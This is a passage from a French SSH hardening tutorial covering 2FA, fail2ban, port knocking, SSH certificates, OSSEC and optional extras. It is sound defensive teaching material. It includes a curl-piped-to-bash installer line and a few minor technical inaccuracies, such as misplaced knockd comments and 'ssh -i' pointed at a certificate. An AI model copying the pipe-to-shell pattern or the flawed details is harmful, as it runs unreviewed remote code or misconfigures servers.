1. Authentification par clé SSH (automatique)
2. Demande de vérification code :
   Verification code:
```

**Ouvrir l'app Google Authenticator, entrer le code à 6 chiffres.**

**Si code correct :**

```
Welcome to Ubuntu 22.04 LTS
```

**[BRAVO] 2FA fonctionne ! [BRAVO]**

---

**Si code incorrect :**

```
Verification code:
Permission denied, please try again.
```

---

#### Gérer les codes de secours

**Si téléphone perdu, utiliser un code de secours :**

```bash
ssh sysadmin@192.168.1.100
Verification code: 12345678  # Code de secours (usage unique)
```

**Le code de secours est supprimé du fichier `.google_authenticator` après usage.**

---

**Régénérer des codes de secours :**

```bash
google-authenticator

# Suivre le processus, de nouveaux codes seront générés
```

---

### ÉTAPE 4 : Protection anti-brute force avec fail2ban

**fail2ban = Bannit automatiquement les IPs qui font trop de tentatives échouées.**

#### Installer fail2ban

```bash
sudo apt update
sudo apt install fail2ban -y
```

---

#### Configurer fail2ban pour SSH

**Créer un fichier de configuration local :**

```bash
sudo nano /etc/fail2ban/jail.local
```

**Contenu :**

```ini
# ═══════════════════════════════════════════════════════════════
# FAIL2BAN CONFIGURATION - SSH PROTECTION
# ═══════════════════════════════════════════════════════════════

[DEFAULT]

# ───────────────────────────────────────────────────────────────
# CONFIGURATION GÉNÉRALE
# ───────────────────────────────────────────────────────────────

# Durée de bannissement (secondes)
# 3600 = 1 heure
# 86400 = 24 heures
# -1 = Permanent
bantime = 3600

# Fenêtre de temps pour compter les échecs (secondes)
# 600 = 10 minutes
findtime = 600

# Nombre maximum d'échecs dans la fenêtre findtime
# 3 = Ban après 3 tentatives échouées en 10 minutes
maxretry = 3

# Backend de détection (auto, systemd, polling)
# auto = Détection automatique (recommandé)
backend = auto

# ───────────────────────────────────────────────────────────────
# ACTION PAR DÉFAUT
# ───────────────────────────────────────────────────────────────

# Action à effectuer lors d'un ban
# %(action_)s = Ban IP seulement (iptables)
# %(action_mw)s = Ban + email avec whois
# %(action_mwl)s = Ban + email avec whois + logs
banaction = iptables-multiport

# Email pour les alertes (optionnel)
destemail = admin@example.com
sender = fail2ban@example.com

# Action
action = %(action_)s

# ───────────────────────────────────────────────────────────────
# PROTECTION SSH
# ───────────────────────────────────────────────────────────────

[sshd]

# Activer la protection SSH
enabled = true

# Port SSH (adapter si port custom)
port = 22

# Protocole (tcp/udp)
protocol = tcp

# Fichier de log à surveiller
# Debian/Ubuntu : /var/log/auth.log
# RedHat/CentOS : /var/log/secure
logpath = /var/log/auth.log

# Nombre maximum d'échecs (override DEFAULT si besoin)
maxretry = 3

# Durée de ban (override DEFAULT si besoin)
# 7200 = 2 heures pour SSH
bantime = 7200

# Filtre à utiliser (dans /etc/fail2ban/filter.d/)
filter = sshd

# ───────────────────────────────────────────────────────────────
# PROTECTION DDOS SSH (trop de connexions simultanées)
# ───────────────────────────────────────────────────────────────

[sshd-ddos]

enabled = true
port = 22
protocol = tcp
logpath = /var/log/auth.log
filter = sshd-ddos
maxretry = 10  # 10 connexions en 10 minutes
findtime = 600
bantime = 3600

# ───────────────────────────────────────────────────────────────
# PROTECTION AGGRESSIVE (optionnel, pour environnements à haut risque)
# ───────────────────────────────────────────────────────────────

[sshd-aggressive]

enabled = false  # Activer si nécessaire
port = 22
protocol = tcp
logpath = /var/log/auth.log
filter = sshd
maxretry = 1  # Ban après 1 seule tentative échouée
findtime = 600
bantime = 86400  # 24 heures

# ═══════════════════════════════════════════════════════════════
```

---

#### Créer un filtre personnalisé (optionnel)

**Créer un filtre pour détecter les scans de ports :**

```bash
sudo nano /etc/fail2ban/filter.d/ssh-portscan.conf
```

**Contenu :**

```ini
[Definition]

# Détecter les tentatives de connexion sur des ports inhabituels
# (Si SSH sur port custom)

failregex = ^.*Did not receive identification string from <HOST>.*$
            ^.*Connection closed by <HOST>.*$
            ^.*Bad protocol version identification.*from <HOST>.*$

ignoreregex =
```

---

**Ajouter la jail correspondante dans `jail.local` :**

```ini
[ssh-portscan]

enabled = true
port = 22
protocol = tcp
logpath = /var/log/auth.log
filter = ssh-portscan
maxretry = 2
findtime = 300
bantime = 86400
```

---

#### Démarrer fail2ban

```bash
# Démarrer fail2ban
sudo systemctl start fail2ban

# Activer au démarrage
sudo systemctl enable fail2ban

# Vérifier le statut
sudo systemctl status fail2ban
```

**Résultat :**

```
[BLACK_CIRCLE] fail2ban.service - Fail2Ban Service
     Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled)
     Active: active (running) since Mon 2024-12-30 16:00:00 UTC
```

---

#### Vérifier les jails actives

```bash
sudo fail2ban-client status
```

**Résultat :**

```
Status
|- Number of jail:      2
`- Jail list:   sshd, sshd-ddos
```

---

**Détails d'une jail :**

```bash
sudo fail2ban-client status sshd
```

**Résultat :**

```
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     15
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 2
   |- Total banned:     5
   `- Banned IP list:   1.2.3.4 5.6.7.8
```

---

#### Tester fail2ban

**Depuis une autre machine, faire 3 tentatives échouées :**

```bash
# Tentative 1
ssh invalid_user@192.168.1.100
Password: wrongpass

# Tentative 2
ssh invalid_user@192.168.1.100
Password: wrongpass

# Tentative 3
ssh invalid_user@192.168.1.100
Password: wrongpass

# Tentative 4 (devrait être bloquée)
ssh invalid_user@192.168.1.100
ssh: connect to host 192.168.1.100 port 22: Connection refused
```

---

**Sur le serveur, vérifier le ban :**

```bash
sudo fail2ban-client status sshd
```

**Résultat :**

```
Status for the jail: sshd
|- Filter
|  |- Currently failed: 3
|  |- Total failed:     3
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     1
   `- Banned IP list:   [IP_CLIENT]
```

---

**Vérifier iptables :**

```bash
sudo iptables -L -n | grep [IP_CLIENT]
```

**Résultat :**

```
REJECT     all  --  1.2.3.4              0.0.0.0/0            reject-with icmp-port-unreachable
```

**[OK] L'IP est bien bannie !**

---

#### Débannir manuellement une IP

```bash
sudo fail2ban-client set sshd unbanip 1.2.3.4
```

---

#### Logs de fail2ban

```bash
# Log principal
sudo tail -f /var/log/fail2ban.log
```

**Exemple de contenu :**

```
2024-12-30 16:15:00,123 fail2ban.filter [1234]: INFO    [sshd] Found 1.2.3.4 - 2024-12-30 16:15:00
2024-12-30 16:15:10,456 fail2ban.filter [1234]: INFO    [sshd] Found 1.2.3.4 - 2024-12-30 16:15:10
2024-12-30 16:15:20,789 fail2ban.filter [1234]: INFO    [sshd] Found 1.2.3.4 - 2024-12-30 16:15:20
2024-12-30 16:15:20,790 fail2ban.actions[1234]: NOTICE  [sshd] Ban 1.2.3.4
```

---

### ÉTAPE 5 : Port Knocking - SSH invisible

**Port Knocking = SSH n'est accessible qu'après une séquence secrète de connexions.**

**Principe :**

```
Attaquant scanne le port 22 :
-> Port fermé (pas de réponse)

Utilisateur légitime :
1. Connecte au port 7000 (ferme aussitôt)
2. Connecte au port 8000 (ferme aussitôt)
3. Connecte au port 9000 (ferme aussitôt)
-> Firewall ouvre le port 22 pendant 30 secondes
4. Connecte au port 22 (SSH accessible)
```

---

#### Installer knockd

```bash
sudo apt update
sudo apt install knockd -y
```

---

#### Configurer knockd

```bash
sudo nano /etc/knockd.conf
```

**Contenu :**

```ini
# ═══════════════════════════════════════════════════════════════
# KNOCKD CONFIGURATION - PORT KNOCKING
# ═══════════════════════════════════════════════════════════════

[options]
    # Interface réseau à écouter
    Interface = eth0
    
    # Fichier de log
    logfile = /var/log/knockd.log

# ───────────────────────────────────────────────────────────────
# SÉQUENCE D'OUVERTURE SSH
# ───────────────────────────────────────────────────────────────

[openSSH]
    # Séquence de ports à frapper (dans l'ordre)
    # Choisir des ports non standards
    sequence    = 7000,8000,9000
    
    # Timeout entre chaque frappe (secondes)
    # Si trop lent, séquence invalide
    seq_timeout = 15
    
    # Commande à exécuter quand séquence valide
    # Ouvre le port SSH (22) pour l'IP source pendant 30 secondes
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    
    # Timeout avant fermeture automatique (secondes)
    tcpflags    = syn
    
    # Log
    cmd_timeout = 30
    stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

# ───────────────────────────────────────────────────────────────
# SÉQUENCE DE FERMETURE SSH (optionnel)
# ───────────────────────────────────────────────────────────────

[closeSSH]
    # Séquence pour fermer explicitement
    sequence    = 9000,8000,7000
    seq_timeout = 15
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn
```

**Explication :**

**`%IP%`** = IP source (celle qui frappe)

**`tcpflags = syn`** = Seulement les paquets SYN (début de connexion TCP)

**`cmd_timeout = 30`** = Le port reste ouvert 30 secondes

---

#### Configurer le firewall pour bloquer SSH par défaut

```bash
# Supprimer la règle existante qui autorise SSH
sudo ufw delete allow 22/tcp

# Bloquer SSH par défaut
sudo ufw deny 22/tcp

# Autoriser les ports de knocking (sinon ils seront bloqués)
sudo ufw allow 7000/tcp
sudo ufw allow 8000/tcp
sudo ufw allow 9000/tcp

# Recharger UFW
sudo ufw reload
```

---

#### Activer knockd au démarrage

```bash
# Éditer le fichier de démarrage
sudo nano /etc/default/knockd
```

**Modifier :**

```bash
START_KNOCKD=1
```

---

**Démarrer knockd :**

```bash
sudo systemctl start knockd
sudo systemctl enable knockd
sudo systemctl status knockd
```

---

#### Tester le port knocking

**Sur TON PC, installer knock :**

```bash
sudo apt install knockd -y
```

---

**Tenter de se connecter SANS frapper :**

```bash
ssh sysadmin@192.168.1.100
```

**Résultat :**

```
ssh: connect to host 192.168.1.100 port 22: Connection refused
```

**[X] Connexion refusée (normal, port fermé)**

---

**Frapper la séquence :**

```bash
knock 192.168.1.100 7000 8000 9000
```

**Aucune sortie = Normal**

---

**Immédiatement après, se connecter SSH :**

```bash
ssh sysadmin@192.168.1.100
```

**Résultat :**

```
Welcome to Ubuntu 22.04 LTS
```

**[OK] Connexion réussie ! Le port s'est ouvert après la séquence ! [BRAVO]**

---

**Attendre 30 secondes, puis essayer sans frapper :**

```bash
ssh sysadmin@192.168.1.100
```

**Résultat :**

```
ssh: connect to host 192.168.1.100 port 22: Connection refused
```

**[OK] Le port s'est refermé automatiquement !**

---

#### Créer un alias pour simplifier

```bash
nano ~/.bashrc
```

**Ajouter :**

```bash
# Fonction pour se connecter au serveur avec port knocking
ssh-secure() {
    knock 192.168.1.100 7000 8000 9000
    sleep 1
    ssh sysadmin@192.168.1.100
}
```

**Recharger :**

```bash
source ~/.bashrc
```

**Utiliser :**

```bash
ssh-secure
```

**[BRAVO] Frappe automatique + connexion SSH en une commande !**

---

### ÉTAPE 6 : Certificats SSH (au lieu de clés publiques)

**Certificats SSH = Gestion centralisée + Expiration automatique**

**Avantage sur les clés publiques :**

```
Clés publiques :
- Une clé par serveur (authorized_keys)
- Révocation compliquée (supprimer de chaque serveur)
- Pas d'expiration

Certificats SSH :
- Une CA (Certificate Authority) signe les certificats
- Révocation centralisée (révoquer le certificat)
- Expiration automatique (ex: 24 heures, 7 jours)
- Gestion simplifiée à grande échelle
```

---

#### Créer une Certificate Authority (CA) SSH

**Sur un serveur sécurisé (ou TON PC pour test) :**

```bash
# Créer un dossier pour la CA
mkdir ~/ssh-ca
cd ~/ssh-ca

# Générer la clé de CA (TRÈS SENSIBLE, bien protéger)
ssh-keygen -t ed25519 -f ca_key -C "SSH CA"

# Passphrase FORTE obligatoire
```

**Résultat :**

```
ca_key       # Clé privée de CA ([ATTENTION] PROTÉGER AU MAXIMUM)
ca_key.pub   # Clé publique de CA (à déployer sur les serveurs)
```

---

**Sécuriser la clé privée de CA :**

```bash
chmod 600 ca_key
```

**[ATTENTION] Cette clé permet de signer des certificats pour TOUS les serveurs.**

**Stockage recommandé :**
- Serveur dédié (CA isolée)
- HSM (Hardware Security Module)
- Coffre-fort chiffré
- Pas sur un serveur de prod !

---

#### Configurer les serveurs pour accepter les certificats

**Sur CHAQUE SERVEUR, éditer `/etc/ssh/sshd_config` :**

```bash
sudo nano /etc/ssh/sshd_config
```

**Ajouter :**

```bash
# ───────────────────────────────────────────────────────────────
# CERTIFICATS SSH
# ───────────────────────────────────────────────────────────────

# Clé publique de la CA (pour vérifier les certificats)
TrustedUserCAKeys /etc/ssh/ca_key.pub
```

---

**Copier la clé publique de CA sur le serveur :**

```bash
# Depuis la machine CA
scp ~/ssh-ca/ca_key.pub sysadmin@192.168.1.100:/tmp/

# Sur le serveur
sudo mv /tmp/ca_key.pub /etc/ssh/ca_key.pub
sudo chmod 644 /etc/ssh/ca_key.pub
```

---

**Redémarrer SSH sur le serveur :**

```bash
sudo systemctl restart ssh
```

---

#### Signer un certificat utilisateur

**Sur la machine CA :**

```bash
# Clé publique d'un utilisateur (déjà générée)
# Exemple : ~/.ssh/id_ed25519.pub de l'utilisateur

# Signer la clé avec un certificat valide 7 jours
ssh-keygen -s ca_key \
  -I "user_sysadmin" \
  -n sysadmin \
  -V +7d \
  ~/.ssh/id_ed25519.pub
```

**Explication des options :**

**`-s ca_key`** = Clé de signature (CA)

**`-I "user_sysadmin"`** = Identité du certificat (nom descriptif)

**`-n sysadmin`** = Principals (noms d'utilisateurs autorisés)
- Plusieurs : `-n sysadmin,deploy,admin`

**`-V +7d`** = Validité (7 jours à partir de maintenant)
- Formats : `+1h`, `+30m`, `+7d`, `+1M`, `+1y`
- Plage : `-V 20241230:20250106` (du 30 déc au 6 jan)

**`~/.ssh/id_ed25519.pub`** = Clé publique à certifier

---

**Résultat : Fichier `id_ed25519-cert.pub` créé**

```bash
ls -l ~/.ssh/
```

```
-rw------- 1 user user  411 Dec 30 16:00 id_ed25519
-rw-r--r-- 1 user user   95 Dec 30 16:00 id_ed25519.pub
-rw-r--r-- 1 user user 1234 Dec 30 16:30 id_ed25519-cert.pub  <- Certificat
```

---

#### Examiner le certificat

```bash
ssh-keygen -L -f ~/.ssh/id_ed25519-cert.pub
```

**Résultat :**

```
/home/user/.ssh/id_ed25519-cert.pub:
        Type: ssh-ed25519-cert-v01@openssh.com user certificate
        Public key: ED25519-CERT SHA256:ABC123...
        Signing CA: ED25519 SHA256:XYZ789... (using ssh-ed25519)
        Key ID: "user_sysadmin"
        Serial: 0
        Valid: from 2024-12-30T16:30:00 to 2025-01-06T16:30:00
        Principals:
                sysadmin
        Critical Options: (none)
        Extensions:
                permit-X11-forwarding
                permit-agent-forwarding
                permit-port-forwarding
                permit-pty
                permit-user-rc
```

**Informations importantes :**
- **Valid** : Période de validité (7 jours)
- **Principals** : Utilisateurs autorisés (`sysadmin`)
- **Extensions** : Permissions (forwarding, pty, etc.)

---

#### Se connecter avec le certificat

**Copier le certificat sur TON PC :**

```bash
# Le certificat doit être dans ~/.ssh/ à côté de la clé privée
mv id_ed25519-cert.pub ~/.ssh/
```

---

**Se connecter :**

```bash
ssh sysadmin@192.168.1.100
```

**SSH utilise automatiquement le certificat s'il est présent !**

**Vérifier dans les logs du serveur :**

```bash
sudo tail /var/log/auth.log
```

**Résultat :**

```
Dec 30 16:35:00 server sshd[12345]: Accepted publickey for sysadmin from 1.2.3.4 port 54321 ssh2: ED25519-CERT ID user_sysadmin (serial 0) CA ED25519 SHA256:XYZ789...
```

**[OK] Connexion avec certificat réussie ! (Mention `ED25519-CERT`)**

---

#### Révoquer un certificat

**Créer une KRL (Key Revocation List) :**

```bash
# Sur la machine CA
ssh-keygen -k -f revoked_keys \
  -s ca_key \
  ~/.ssh/id_ed25519-cert.pub
```

**Fichier `revoked_keys` créé.**

---

**Copier la KRL sur les serveurs :**

```bash
scp revoked_keys sysadmin@192.168.1.100:/tmp/
ssh sysadmin@192.168.1.100 "sudo mv /tmp/revoked_keys /etc/ssh/revoked_keys"
```

---

**Configurer sshd pour utiliser la KRL :**

```bash
sudo nano /etc/ssh/sshd_config
```

**Ajouter :**

```bash
RevokedKeys /etc/ssh/revoked_keys
```

**Redémarrer SSH :**

```bash
sudo systemctl restart ssh
```

---

**Tester : Le certificat révoqué ne peut plus se connecter.**

```bash
ssh sysadmin@192.168.1.100
```

**Résultat :**

```
Permission denied (publickey).
```

**[OK] Révocation fonctionne !**

---

#### Ajouter des restrictions aux certificats

**Certificat avec restrictions :**

```bash
# Certificat limité à certaines commandes
ssh-keygen -s ca_key \
  -I "readonly_user" \
  -n readonly \
  -V +1d \
  -O force-command="/usr/bin/ls -la" \
  -O no-port-forwarding \
  -O no-X11-forwarding \
  -O no-agent-forwarding \
  ~/.ssh/id_readonly.pub
```

**Options de restriction :**

**`-O force-command="cmd"`** = Force l'exécution d'une commande unique
**`-O no-port-forwarding`** = Interdit le port forwarding
**`-O no-X11-forwarding`** = Interdit X11
**`-O no-agent-forwarding`** = Interdit agent forwarding
**`-O no-pty`** = Interdit l'allocation de pseudo-terminal
**`-O source-address=IP/CIDR`** = Restreint aux IPs sources

---

**Exemple : Certificat limité à une IP et une commande :**

```bash
ssh-keygen -s ca_key \
  -I "backup_script" \
  -n backup \
  -V +30m \
  -O force-command="/usr/local/bin/backup.sh" \
  -O source-address="203.0.113.50/32" \
  -O no-port-forwarding \
  -O no-pty \
  ~/.ssh/id_backup.pub
```

**Ce certificat :**
- Valide 30 minutes seulement
- Exécute SEULEMENT `/usr/local/bin/backup.sh`
- Autorisé SEULEMENT depuis 203.0.113.50
- Pas de tunneling, pas de terminal

*** Principe du moindre privilège parfaitement appliqué ! ***

---

### ÉTAPE 7 : Détection d'intrusion avec OSSEC

**OSSEC = IDS (Intrusion Detection System) open source**

**Fonctionnalités :**
- Analyse des logs en temps réel
- Détection d'anomalies
- Alertes immédiates
- Réponse active (bloquer l'attaquant)

---

#### Installer OSSEC

```bash
# Télécharger OSSEC
cd /tmp
wget https://github.com/ossec/ossec-hids/archive/3.7.0.tar.gz
tar -xzf 3.7.0.tar.gz
cd ossec-hids-3.7.0
```

---

**Installer les dépendances :**

```bash
sudo apt update
sudo apt install build-essential libssl-dev libpcre2-dev zlib1g-dev -y
```

---

**Lancer l'installation :**

```bash
sudo ./install.sh
```

**Répondre aux questions :**

```
Language: en
Installation type: local
Directory: /var/ossec (default)
Email notification: yes
Email: admin@example.com
SMTP server: localhost
Integrity check: yes
Rootkit detection: yes
Active response: yes
Firewall-drop: yes (bloquer automatiquement)
White list: 127.0.0.1, [TON_IP]  # Ne jamais te bannir toi-même !
```

---

**Démarrer OSSEC :**

```bash
sudo /var/ossec/bin/ossec-control start
```

---

#### Configurer OSSEC pour SSH

```bash
sudo nano /var/ossec/etc/ossec.conf
```

**Ajouter la surveillance du log SSH :**

```xml
<ossec_config>
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/auth.log</location>
  </localfile>

  <!-- Réponse active SSH -->
  <active-response>
    <command>firewall-drop</command>
    <location>local</location>
    <level>6</level>
    <timeout>600</timeout>  <!-- Ban 10 minutes -->
  </active-response>
</ossec_config>
```

---

**Redémarrer OSSEC :**

```bash
sudo /var/ossec/bin/ossec-control restart
```

---

#### Tester OSSEC

**Générer des échecs d'authentification SSH (depuis une autre machine) :**

```bash
ssh invalid_user@192.168.1.100
# Entrer un mauvais mot de passe plusieurs fois
```

---

**Vérifier les alertes OSSEC :**

```bash
sudo tail -f /var/ossec/logs/alerts/alerts.log
```

**Résultat :**

```
** Alert 1514678400.12345: - syslog,sshd,authentication_failed,
2024 Dec 30 17:00:00 server->/var/log/auth.log
Rule: 5710 (level 5) -> 'sshd: Attempt to login using a non-existent user'
Src IP: 1.2.3.4
User: invalid_user
Dec 30 17:00:00 server sshd[12345]: Failed password for invalid user invalid_user from 1.2.3.4 port 54321 ssh2
```

---

**Vérifier si l'IP a été bannie :**

```bash
sudo iptables -L -n | grep 1.2.3.4
```

**Résultat :**

```
DROP       all  --  1.2.3.4              0.0.0.0/0
```

**[OK] OSSEC a automatiquement banni l'IP ! [BRAVO]**

---

### [OK] TESTS DE VALIDATION

**1. Hardening SSH**

```bash
# Vérifier que seuls les algos modernes sont acceptés
ssh -Q cipher localhost
ssh -Q kex localhost
ssh -Q mac localhost
```

- [ ] Aucun algorithme faible (3des, md5, sha1)

---

**2. 2FA fonctionne**

```bash
ssh sysadmin@server
# Demande de Verification code
```

- [ ] Code OTP demandé
- [ ] Connexion réussie avec bon code
- [ ] Connexion échouée avec mauvais code

---

**3. fail2ban bannit les IPs**

```bash
# Faire 3 tentatives échouées
ssh invalid@server  # x3

# Vérifier le ban
sudo fail2ban-client status sshd
```

- [ ] IP bannie après 3 échecs

---

**4. Port knocking**

```bash
# Sans frapper
ssh server  # Devrait échouer

# Avec frappe
knock server 7000 8000 9000
ssh server  # Devrait réussir
```

- [ ] SSH inaccessible sans frappe
- [ ] SSH accessible après frappe

---

**5. Certificats SSH**

```bash
# Se connecter avec certificat
ssh -i ~/.ssh/id_ed25519-cert.pub user@server

# Vérifier dans les logs
sudo grep "ED25519-CERT" /var/log/auth.log
```

- [ ] Connexion avec certificat réussie
- [ ] Logs mentionnent "CERT"

---

**6. OSSEC détecte et bloque**

```bash
# Générer des échecs
ssh invalid@server  # x5

# Vérifier OSSEC
sudo tail /var/ossec/logs/alerts/alerts.log

# Vérifier iptables
sudo iptables -L -n
```

- [ ] OSSEC alerte
- [ ] IP bannie automatiquement

---

### [ROUGE] ERREURS COURANTES ET SOLUTIONS

#### Erreur 1 : 2FA ne fonctionne pas

**Symptôme :** Pas de demande de "Verification code"

**Cause :** PAM pas activé ou mal configuré

**Solution :**

```bash
# Vérifier dans sshd_config
sudo grep "UsePAM" /etc/ssh/sshd_config
# Doit être : UsePAM yes

sudo grep "ChallengeResponseAuthentication" /etc/ssh/sshd_config
# Doit être : ChallengeResponseAuthentication yes
```

---

#### Erreur 2 : Port knocking ne fonctionne pas

**Symptôme :** Séquence frappée mais SSH toujours fermé

**Cause :** knockd pas démarré ou mauvaise interface

**Solution :**

```bash
# Vérifier knockd
sudo systemctl status knockd

# Vérifier les logs
sudo tail /var/log/knockd.log

# Vérifier l'interface réseau
ip a
# Adapter Interface= dans /etc/knockd.conf
```

---

#### Erreur 3 : Certificat refusé

**Symptôme :** "Permission denied" avec certificat

**Cause :** TrustedUserCAKeys pas configuré

**Solution :**

```bash
# Sur le serveur
sudo grep "TrustedUserCAKeys" /etc/ssh/sshd_config

# Doit pointer vers ca_key.pub
ls -l /etc/ssh/ca_key.pub
```

---

### [IMPORTANT] POINTS CLÉS À RETENIR

**1. Hardening SSH**
- Protocole 2 uniquement
- Algorithmes modernes seulement
- Pas de mot de passe
- Pas de root login

**2. 2FA/MFA**
- Clé SSH + OTP obligatoires
- Codes de secours pour téléphone perdu
- Migration progressive avec nullok

**3. fail2ban**
- Ban automatique après X échecs
- Durée de ban configurable
- Logs et alertes

**4. Port Knocking**
- SSH invisible aux scanners
- Séquence secrète pour ouvrir
- Timeout automatique

**5. Certificats SSH**
- Gestion centralisée
- Expiration automatique
- Révocation simple

**6. Détection d'intrusion**
- OSSEC surveille en temps réel
- Réponse active (ban automatique)
- Alertes immédiates

---

### [RAPIDE] POUR ALLER PLUS LOIN

**1. SELinux pour SSH**

```bash
# Activer SELinux
sudo setenforce 1

# Politique SSH spécifique
sudo setsebool -P ssh_chroot_rw_homedirs on
```

---

**2. Honeypot SSH (Cowrie)**

```bash
# Installer Cowrie (faux serveur SSH)
git clone https://github.com/cowrie/cowrie
cd cowrie
virtualenv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt

# Configurer sur port 2222
# Les attaquants se connectent au honeypot
# Logs de toutes leurs actions
```

---

**3. Bastion avec Teleport**

```bash
# Teleport = Bastion moderne avec :
# - Interface web
# - Enregistrement sessions vidéo
# - RBAC avancé
# - Audit complet

curl https://get.gravitational.com/teleport-install.sh | bash
```

---

**4. SSH + Vault (HashiCorp)**

```bash
# Vault génère des certificats SSH dynamiques
# Durée de vie courte (1h)
# Révocation automatique

vault secrets enable ssh
vault write ssh/roles/otp_key_role key_type=otp default_user=ubuntu cidr_list=0.0.0.0/0
```

---

**5. SSH over Tor (anonymat)**

```bash
# Masquer l'IP source via Tor

# Sur le serveur
sudo apt install tor -y

# Dans /etc/tor/torrc
HiddenServiceDir /var/lib/tor/ssh/
HiddenServicePort 22 127.0.0.1:22

# Adresse .onion générée
sudo cat /var/lib/tor/ssh/hostname

# Depuis le client via Tor
torify ssh user@[adresse-onion]
```

---

## [COURS] CONCLUSION EXERCICE 5 ET SÉRIE COMPLÈTE

**[OK] FÉLICITATIONS ! Tu as terminé TOUS les exercices SSH ! [BRAVO][BRAVO][BRAVO]**

**[TROPHEE] COMPÉTENCES ACQUISES - NIVEAU EXPERT [TROPHEE]**

**Exercice 1 - SSH Key Authentication :**
- [OK] Configuration SSH de base
- [OK] Authentification par clé
- [OK] Sécurisation sshd_config
- [OK] Gestion des permissions

**Exercice 2 - Tunneling SSH :**
- [OK] Port forwarding (local, remote, dynamic)
- [OK] Proxy SOCKS
- [OK] Tunnels automatisés
- [OK] autossh

**Exercice 3 - Bastion et Multi-serveurs :**
- [OK] Architecture bastion
- [OK] ProxyJump
- [OK] Agent forwarding
- [OK] Ansible automation
- [OK] Gestion à grande échelle

**Exercice 4 - Transferts de fichiers :**
- [OK] SCP, SFTP, SSHFS
- [OK] rsync (maître absolu)
- [OK] Backups automatisés
- [OK] SFTP chroot

**Exercice 5 - Sécurité avancée :**
- [OK] Hardening complet
- [OK] 2FA/MFA
- [OK] fail2ban
- [OK] Port knocking
- [OK] Certificats SSH
- [OK] IDS/IPS (OSSEC)
- [OK] Conformité réglementaire

---

*** TU ES MAINTENANT UN EXPERT SSH ! ***

**Temps total de formation : ~15-20 heures**

**Niveau atteint : Expert / Architecte Sécurité SSH**

**Tu peux maintenant :**
- Sécuriser n'importe quelle infrastructure SSH
- Gérer des centaines de serveurs
- Implémenter les standards de sécurité (PCI-DSS, SOC2, ISO27001)
- Détecter et répondre aux incidents
- Automatiser toutes les tâches SSH
- Former d'autres administrateurs

---

**[DOCS] RESSOURCES COMPLÉMENTAIRES**

- OpenSSH Official: https://www.openssh.com/
- SSH Audit Tool: https://github.com/arthepsy/ssh-audit
- Mozilla SSH Guidelines: https://infosec.mozilla.org/guidelines/openssh
- NIST SSH Guidelines: https://nvlpubs.nist.gov/nistpubs/ir/2015/NIST.IR.7966.pdf

---

**Bravo pour cette formation intensive et ultra-complète ! [MILITARY_MEDAL]**

*Ces 5 exercices constituent une formation professionnelle SSH niveau expert. Tu as maintenant toutes les compétences pour sécuriser et gérer SSH en production dans n'importe quelle entreprise.* *